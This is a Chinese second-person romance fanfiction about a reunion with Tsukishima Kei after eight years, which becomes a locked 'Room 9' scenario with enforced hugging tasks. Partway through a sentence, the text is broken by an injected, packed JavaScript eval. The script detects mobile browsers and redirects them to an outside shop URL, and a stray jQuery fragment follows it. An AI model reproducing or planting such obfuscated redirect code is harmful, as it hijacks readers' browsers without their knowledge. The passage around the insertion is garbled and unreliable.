第九号房间，但纯爱版，久别重逢，酸涩微虐
ooc致歉
————
你见到了月岛萤。
东京都美术馆的行业交流会，你所在的出版社被邀请参加，大概是为了充人数。
你端着半杯气泡水站在角落里，看着西装革履的人群谈论着你听不懂的艺术投资术语，只想快点熬到可以礼貌离场的时间。
然后你看见了他。
月岛萤站在展厅另一头，正和一个白发苍苍的学者说话，他比高中时又高了一些，剪裁合体的深灰色西装衬得肩线笔挺。
眼镜后的眉眼褪去了少年时的些许稚气，显得更加疏离冷淡，他微微侧头听着对方说话，偶尔点头，手指无意识地推了推眼镜。
八年。
时间把记忆里的少年和眼前这个男人隔开，那些你以为早已模糊的细节，此刻非常清晰：他思考时会用食指关节轻叩下巴，不耐烦时会微微眯起眼睛，还有那种“闲人勿扰”的气场，简直和高中时一模一样。
他似乎感觉到了视线，转过头来。
目光在空中交汇，你看见他镜片后的眼睛微微睁大，嘴唇抿成一条直线。那是月岛萤式的惊讶，克制得几乎看不见，但你知道，你曾经花了一年时间学习解读他那些细微的表情变化。
你该做什么？微笑？挥手？走过去说“好久不见”？
最后你只是微微点了点头，像对待任何一个有过几面之缘的陌生人，他也点了头，动作轻得几乎看不见，然后你们同时移开视线，像两条短暂交错的轨道，又朝着各自的方向延伸。
交流会后半场，你躲进了洗手间，镜子里的女人穿着得体的米色套装，妆容精致，看起来是个合格的都市职业女性。
可只有你知道，手心在冒冷汗，胃部在轻微抽搐。
手机震动，是主编发来的消息：“和国立博物馆的人聊了吗？他们明年有个大型图录项目。”
你深吸一口气，补了口红，重新走进会场。
————
高中二年级的春天，你作为转学生走进四班的教室。
自我介绍时声音很小，引得后排男生发出嗤笑，然后一个冷淡的声音从教室后方响起：
“喂，今井，你去年自我介绍时紧张到咬舌头的事需要我帮大家回忆一下吗？”
全班哄笑，但对象转移了，你抬起头，看见一个戴眼镜的金发男生正懒洋洋地靠在椅背上，手里转着笔，他看了你一眼，眼神里没什么情绪，又低下头去看摊在桌上的书。
那是月岛萤。
你很快发现，这个毒舌又冷淡的男生，其实是班级里一个微妙的存在，他成绩优秀但从不炫耀，对谁都一副“别来烦我”的态度，但需要他帮助的时候，虽然嘴上不饶人，但能帮还是会帮。
某天放学后，你因为值日留到最后，教室里只剩下你和月岛萤——他在等山口从老师办公室回来，你擦黑板时够不到最上面，踮起脚试了几次。
“让开。”
你回头，他不知何时走了过来，从你手中拿过板擦，轻易地擦掉了高处的字迹，他的手臂在你头顶上方，你能闻到他校服上淡淡的洗衣液味道。
“谢谢。”你小声说。
“只是不想看你像只企鹅一样笨拙地扑腾。”
他把板擦扔回讲台，坐回座位，重新戴上耳机。
但你看见他耳朵尖有点红。
从那天起，你们之间开始有一种微妙的默契。
他会“顺便”多带一瓶草莓牛奶，放在你桌上说“便利店买一送一，难喝死了”，你会在图书馆“偶然”找到他正在找的冷门资料书，放在他常坐的位置上。
你们很少聊天，但在数学课的小组作业时会被分到一起，他嘴上说着“为什么我要和数学白痴一组”，却会把你解不出的题一步一步写满整张草稿纸。
“这里，”他用笔点了点某个步骤，“大脑稍微转一下就能想到吧？还是说你的脑细胞今天集体休假？”
你瞪他，他挑眉，嘴角有一丝几乎看不见的弧度。
那是高二的深秋，窗外银杏叶金黄，你发现自己开始期待每天早上的草莓牛奶，期待数学课，期待他那些裹着毒舌的好意。
————
高三的冬天。
母亲的老毛病加重，你不得不频繁请假陪她去医院，课业落下，黑眼圈越来越重，月岛萤放在你桌上的草莓牛奶常常原封不动放到过期。
“喂，”有一天他叫住收拾书包准备早退的你，“下个月的文化祭，班级要出摊位。”
你茫然地看着他：“嗯？”
“班长说要找人做宣传册。”他移开视线，手指敲着桌面，“你……美术课作业不是被老师夸过吗？要不要参加？”
你心里冒出一小簇火花，但立刻被现实浇灭：“对不起，我最近可能……”
“随你。”他打断你，声音冷了下去，“反正也是无聊的活动。”
你看着他又戴上耳机，把自己隔绝在世界之外，心里涌起一阵酸涩，你想解释，但时间来不及了，你要赶去医院。
第二天，你决定正式邀请他，约他周末去一家新开的唱片店，你知道那里有他喜欢的冷门乐队。
午休时，你走向天台，月岛萤经常在那里吃午饭，和山口一起。
你在楼梯口停下脚步，因为他们正在说话。
“月岛，你最近好像很在意转校生啊？”是山口的声音。
短暂的沉默，你听见月岛萤用那种惯常的语调说：
“那种动不动就请假的人，大概觉得全世界都该体谅她的特殊情况吧。”
世界安静了。
你慢慢后退，转身，一步一步离开天台。
原来他是这么看你的。
那天之后，你再也没有主动和他说过话，草莓牛奶原封退回，小组作业能自己完成就绝不问他，甚至调换了座位，从斜前方换到了教室另一头。
月岛萤似乎想说什么，有几次在你座位旁停留，但你总是低头看书，或者直接起身离开。
毕业典礼前一周，母亲病情急剧恶化，你请了长假，直到典礼当天才勉强赶到学校。
雨下得很大，礼堂里挤满了人，你穿着制服，站在后排，只想快点结束去医院，致辞，颁奖，合唱……
月岛萤走上台，作为优秀毕业生代表发言，他穿着笔挺的制服，金发在灯光下看起来很柔软。
他的目光扫过台下，在你这个方向停顿了。
你移开视线。
典礼结束，人群涌出礼堂，你在储物柜前收拾东西，突然被拉住手腕。
是月岛萤，他呼吸有点急，手里拿着一个包装仔细的方形盒子。
“这个……”他开口，声音罕见地有些紧。
你的手机响了，医院打来的。
你甩开他的手，接起电话，听见护士急促的声音：“请马上过来，您母亲情况不好——”
你没听完就往外跑，雨幕中，你回头看了一眼。
月岛萤还站在教学楼门口，手里的盒子被雨打湿，他望着你的方向，身影在雨里模糊成一片灰影。
那就是你们最后一次见面。
————
交流会终于结束，你逃也似的离开美术馆。
八年，你在东京读完大学，进入出版社，从小编辑做起。
母亲在三年前去世，你一个人生活，偶尔会想起高中时代，想起月岛萤，但那些记忆像旧照片，褪色了，边缘卷曲。
他呢？听说依旧在继续打排球，还是博物馆的研究员，业界新星。
你们的世界早已没有交集。
回到家，你踢掉高跟鞋，倒进沙发，手机上有几条未读消息，都是工作相关的，你随意翻了翻，然后看到了那个名字。
月岛萤。
社交媒体——系统推荐“你可能认识的人”，他的头像是博物馆展厅的一角，简介只有简单的“研究者”三个字。
你盯着那个名字看了很久，最终没有点击添加。
洗完澡，你关掉灯，躺在床上。
你想起今天他看你的眼神，没有惊喜，没有怀念，只有陌生人般的疏离。这样也好，你想，过去的就让它过去。
就在你即将入睡时，天花板上突然出现了一个光点。
光点扩大，变成一个旋转的白色漩涡，你猛地坐起，想叫，却发现发不出声音，身体被无形的力量拉起，拖向那个漩涡——
视线被白光吞没。
————
你醒来时，躺在一个纯白色的房间里。
房间不大，约二十平米，角落只有一张床，没有窗户，没有门，墙壁、天花板、地板都是毫无瑕疵的纯白，光源不知道从哪里来，均匀地照亮每个角落。
你坐起身，发现身上还穿着睡衣，对面，另一个人也正从地上站起来。
是月岛萤。
他穿着家居服，深灰色的T恤和运动裤，头发微乱，眼镜歪了一点，他扶正眼镜，环顾四周，表情从迷茫迅速转为警惕和冰冷。
“这是什么地方？”他的声音在密闭空间里回荡。
“我……不知道。”你站起来，腿有些软。
你们对视一眼，又迅速移开，尴尬在空气中蔓延，比眼前的诡异处境更让人不适。
就在这时，房间正中央的空中，浮现出一行发光的文字：
【欢迎来到第九号房间】
一个冰冷的没有起伏的电子音同时响起：
“参与者确认。”
月岛萤的眉头紧紧皱起。
“规则如下，”电子音继续，“你们被选为一组配对，每日将发布一项任务，必须在规定时间内完成，任务失败或拒绝执行、态度恶劣，将受到惩罚，惩罚程度随任务等级递增。”
“任务？”月岛萤的声音像结了冰，“什么意思？”
【第一日任务】
【拥抱十分钟】
【倒计时开始：2:00:00】
“开什么玩笑。”月岛萤冷笑，“这是哪个蠢货设计的恶作剧？让我出去。”
【警告：拒绝执行将启动惩罚机制】
“惩罚？”你颤声问。
话音刚落，你突然感到胸口一阵剧痛，像被无形的手攥住了心脏，你弯下腰，呼吸困难，眼前发黑。
“喂！”月岛萤上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17795378|210507||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
前一步，又停住，“你怎么了？”
疼痛在十秒后消退，你跪在地上，大口喘气。
电子音再次响起：
“惩罚演示结束，正式惩罚时间延长至五分钟。”
倒计时显示：1:50:45。
月岛萤站在房间另一头，背脊僵硬，你能看见他握紧的拳头，指节发白，他的侧脸线条紧绷，嘴唇抿成一条直线。
“月岛……”你轻声说。
他转过头，镜片后的眼睛里各种情绪交杂——愤怒，抗拒，还有……一丝慌乱。
“这是非法拘禁。”
他试图保持冷静，“我们可以谈判，你们想要什么？钱？还是——”
没有回答。
【1:30:15】
时间在流逝。
你的胃开始抽搐，刚才的疼痛还残留在身体记忆里，你知道那不是幻觉。
月岛萤显然也明白这一点，他闭上眼睛，深吸一口气，又缓缓吐出，当他再次睁眼时，眼神变了——从抗拒变成了某种下定决心的冰冷。
“转过去。”他说。
你愣住。
“我说，转过去。”他的声音紧绷，“看着你我做不了。”
你机械地转过身背对他，心脏在胸腔里疯狂跳动。
你听见他走近的脚步声，很轻，但在绝对安静的空间里很清晰，然后，一双手臂从背后环住了你。
他的胸膛贴在你的背上，体温透过薄薄的睡衣传来，你能感觉到他的心跳，和你一样快，他的下巴轻轻抵在你头顶，呼吸拂过你的发丝。
这个拥抱很僵硬，像两块木板贴在一起，他的手没有完全环住你，只是虚虚地搭在你腰间。
【十分钟倒计时开始。】
【09:59】
时间一分一秒过去。
你僵硬地站着，全身每一个细胞都在尖叫，月岛萤的呼吸在你头顶，规律的，克制的，还有紧绷。
过了大概三分钟，他忽然动了一下。
“放松。”他的声音在你头顶响起，很低，“你硬得像块石头。”
“对、对不起……”
“不是在责怪你。”他停顿了一下，“只是……任务要求是拥抱，不是立正站好。”
你试着放松肩膀，他的手在你腰间收紧了一点点，不再是虚搭，而是真正的环抱。
【06:45】
沉默像一张密不透风的网。
你盯着对面纯白的墙壁，大脑一片空白，八年前的雨，今天的重逢，此刻这个诡异的拥抱——所有画面在脑海里旋转，搅成一团。
“月岛。”你突然开口，很轻。
“嗯？”
“对不起。”
“……为什么道歉？”
“把你卷进这种事。”
他沉默了一会儿
“该道歉的是我。”他最终说，声音低得几乎听不见，“高中时……那句话。”
你浑身一震。
“我后来想道歉。”他继续说，语速很慢，“但你一直躲着我，毕业典礼那天……我带了那张CD，你喜欢的乐队的限量版，但你没来。”
你想起雨中的那个身影，原来那不是幻觉。
【03:30】
“我母亲病危。”你说，声音有些哑，“我赶去医院了。”
“……我知道。”他说，“山口告诉我了，我去医院找过你，但你母亲转院了，你搬家，换电话……像人间蒸发。”
你想起那个兵荒马乱的夏天，母亲反复住院，你四处筹钱，最后连大学志愿都改了，选了奖学金更丰厚的学校，你没有告诉任何人，包括那些或许可以称之为“朋友”的同学。
【00:15】
倒计时进入最后阶段。
月岛萤的手臂微微收紧，这是一个下意识的动作，你感觉到了，他的呼吸拂过你耳际，温热，真实。
【00:05】
【00:04】
【00:03】
在最后一秒，你感觉到他的脸颊很轻地几乎不易察觉地，蹭了蹭你的头顶。
【任务完成】
月岛萤立刻松开手，后退两步，拉开距离，他推了推眼镜，视线飘向别处，耳尖泛红。
房间中央浮现新的文字：
【第一日任务完成】
【奖励：基础生存物资已发放】
【第二日任务将于24小时后发布】
【请保持合作】
墙角出现了一个简单的洗漱包，和两瓶水。
月岛萤走过去，拿起一瓶水，拧开喝了一大口，他的喉结滚动，侧脸线条依然紧绷。
“我们会出去的。”他突然说，没有看你，“我会想办法。”
你看着他的背影，你曾经偷偷仰望过无数次的背影，此刻在这个纯白牢笼里，显得既陌生又熟悉。
“嗯。”你轻声回应。
夜晚——或者说，这个没有昼夜之分的空间里的休息时间——你们各据床边一角，背对背躺着。
半梦半醒间，你听见月岛萤很轻的声音：
“晚安。”
“……晚安。”